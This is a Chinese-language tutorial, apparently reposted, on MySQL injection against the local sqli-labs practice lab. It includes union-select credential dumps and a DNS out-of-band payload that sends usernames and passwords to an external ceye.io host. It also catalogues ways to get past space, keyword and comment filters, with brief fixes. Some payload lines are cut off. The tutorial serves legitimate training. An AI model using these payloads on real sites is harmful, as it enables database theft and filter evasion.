http://127.0.0.1:8124/Less-1/" >http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 13,1),'.1cfto5.ceye.io\\abc'))--+

http://127.0.0.1:8124/Less-1/" >
那麼直接拿數據,先拿username

http://127.0.0.1:8124/Less-1/?id=-1' and load_file(concat('\\\\',(select username from users limit 0,1),'.1cfto5.ceye.io\\abc'))--+


再拿password

http://127.0.0.1:8124/Less-1/" >

SQL註入普通繞過手法 空格繞過

在我們註入的時候,當空格被過濾的話我們可以尋求代替方法,還是以SQLlibs-1為例子

http://127.0.0.1:8124/Less-1/?id=-1' union select 1,2,concat_ws(";",username,password) from users limit 2,1%23

我們用這個語句成功註入查到瞭數據

如果我們現在空格被過濾瞭,可以考慮這些繞過方法

1-替換掉空格

1.1-%20 空格的url編碼
1.2-%09 tab的url編碼
1.3-%0a 換行符linefeed的url編碼
1.4-%0b 換行符linefeed的url編碼
1.5-%0c 換行符linefeed的url編碼
1.6-%0d c return的url編碼
1.7- +號

2-不使用空格

2.1-內聯註釋:/!12345union//!12345select/
我們這麼寫就可以繞過一些需要用到空格的地方,做一個擴展,這裡的12345是可以改動的,改動的方法是隻需要這個數字小於我們註入數據庫的版本即可,比如我的Mysql數據庫版本為5.7,那麼我們這裡隻要這五個數字的第一個數字小於5即可比如4321。要改這個的原因是隻要這五個數字小於數據庫的版本我們內聯註釋內的這個SQL語句就不會被當成註釋,比如我們下面這個例子

/*!12345select*/ * from users

可以看到雖然我們的select在註釋內,但是其實是可以執行的

那麼如果我們把數字做一些改動

/*!65432select*/ * from users

可以看到報錯瞭,因為6是大於我使用的5版本的

同樣如果使用的不是5位數字也會報錯

/*!123456select*/ * from users

2.2-反引號:我們可以用反引號把表名列名字段值包裹起來從而不使用空格,比如下面這個例子

select`username`from`users`where`id`=1

我們可以看到成功執行,不使用空格執行瞭SQL語句

最終我們來看這個payload來過關第一關

http://127.0.0.1:8124/Less-1/" >

關鍵字繞過

當我們執行SQL語句的關鍵字被過濾的時候,可以使用一些這樣的常規方法

1-大小寫繞過

比如他對我們輸入的SQL語句進行瞭過濾,但是使用的是類似PHP中str_replace()這樣的函數,那麼就可能存在這樣的安全問題,比如下面這個源碼,對我們傳入的SQL語句進行過濾,把SQL語句中的select替換成???

我們可以看到,正常來說是可以成功替換的

但是str_replace()是區分大小寫的,當我們把select中的任意字符修改成大寫試試,我們發現這樣就無法對SQL語句進行一個有效的過濾瞭,這就是大小寫繞過的原理

當然,形如sElect database()這樣的語句在Mysql中也是可以執行的

要修復的話也很簡單,可以使用正則,或者使用不區分大小寫的函數,比如str_ireplace()
這樣大小寫繞過就失效瞭

2-雙寫繞過

雙寫繞過的原理也很簡單,也是利用的代碼開發人員的不嚴謹,在大小寫繞過中,我們替換的字符串是" >
3-註釋繞過

3.1-註釋符/**/

在有的時候可以使用這樣的方式繞過,這樣是能夠執行成功的

se/**/lect * from users

3.2-內聯註釋/!/

上面講過,在此不贅述

/*!12345select*/ * from users

4-
某些情況下可以使用這種方式繞過

select * from users

5-等量替換
當我們經常使用的一些函數被過濾的時候可以使用和它意思差不多的函數來代替

1-where被過濾可以用這些代替
1.1-笛卡爾積 cross join
1.2-內連接 inner join
1.3-左連接 left join
1.4-又連接 right join
1.5-having

這裡以having為例

select * from users having id =1

2-"=“等於號可以用like、regexp代替
3-substr可以用mid、left代替
4-ord可以用ascii代替 4-and or || && 可以用異或”^“和非”!"來代替
5-sleep可以用一些等效的手段替代,比如計算一個東西他需要時間,如果計算這個東西需要2秒,那麼和sleep(2)的效果是一樣的,比如這條語句就會延遲一定的時間
select rpad(‘a’,4999999,‘a’) RLIKE concat(repeat(‘(a.*)+’,30),‘b’);
壓力測試benchmark()也可以達到同樣的效果

6-編碼繞過
數據庫中有些地方是可以使用16進制代替原本的字符串的,比如下面這條語句

select * from users where username=0x44756d62這裡0x44756d62的意思是Dumb的十六進制形式

7-終極大法

數據庫玩的越六,繞過方法就越多,沒事可以看看Mysql手冊,說不定會發現一些不怎麼常用的函數來繞過現有的過濾手段

註釋符繞過

常用的註釋符有以下幾種
1- --空格
2- --+ (–+在數據庫中是不行的,隻有在web中發送才可以,因為+號會被解析成一個空格,最終在數據庫中變成–空格)
3- #(也可以使用%23也就是#的url編碼)

總結

如果看到這,恭喜你應該對SQL註入有一個比較不錯的理解瞭,後續我還會持續更新另外漏洞的文章,也是以這種保姆級教程發出,感興趣的朋友可以點個關註追更~

本文來自網絡,不代表程式碼花園立場,如有侵權,請聯系管理員。https://www.codegarden.cn/article/30882/